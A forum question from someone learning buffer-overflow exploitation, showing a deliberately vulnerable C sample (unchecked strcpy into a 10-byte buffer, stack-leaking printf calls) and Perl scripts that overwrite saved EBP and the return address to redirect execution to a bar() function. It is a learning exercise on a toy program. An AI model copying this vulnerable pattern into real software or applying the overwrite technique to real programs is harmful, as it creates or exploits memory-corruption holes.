I am kinda new to exploit development using buffer overflows. I've come across a sample code in one book I refer to, and the sample code doesn't execute properly. Here is my code...
#pragma check_stack(off)
void foo(const char* input)
{
char buf[10];
printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf,input);
printf("%s\n",buf);
printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Hacked");
}
int main(int argc, char* argv[])
{
printf("Address of foo is %p\n",foo);
printf("Address of bar is %p\n",bar);
if(argc!=2)
{
printf("Please supply a string as an argument");
return -1;
}
foo(argv[1]);
return 0;
}
I compile my code using MinGW compiler suite for windows, and when I run the program from the command line, I see output of the stack content.
Address of foo is 00401340
Address of bar is 0040137D
stack is:
00401280
0032D000
0000001B
0060FECC
B76EDE61
0060FFCC
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
Hello
Stack is now:
00710CFA
0032D000
0000001B
0060FECC
6548DE61
006F6C6C
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
So far so good, I get to see the start of my buffer, and also the return address of the function, in this case 0x004013F0
. Also, the EBP stands at 0x0060FF18
.
The problem starts when I supply input that overwrites the EBP. Even when the EBP is overwritten, I get an error and my program crashes. My main aim is to overwrite the return address to get the program execute bar(). I forcibly overwrite the EBP and then also supply input that changes the return address to bar(), bar gets executed, but my program crashes.
I've tried a perl script that sends address as compiled input. I craft my input so that the EBP value doesn't change.
$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);
In this case, the return address doesn't get overwritten. But if I change the address to
$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);
The EBP is overwritten and also return address. bar() is executed but programme crashes. My questions are: 1. Why does EBP corruption causing program crash? I've never known it does. 2. Why isn't the return address getting overwritten in case 1 of the script, but gets overwritten when the crafted input does overwrite EBP?
I know it's long, kindly help me out. Thanks.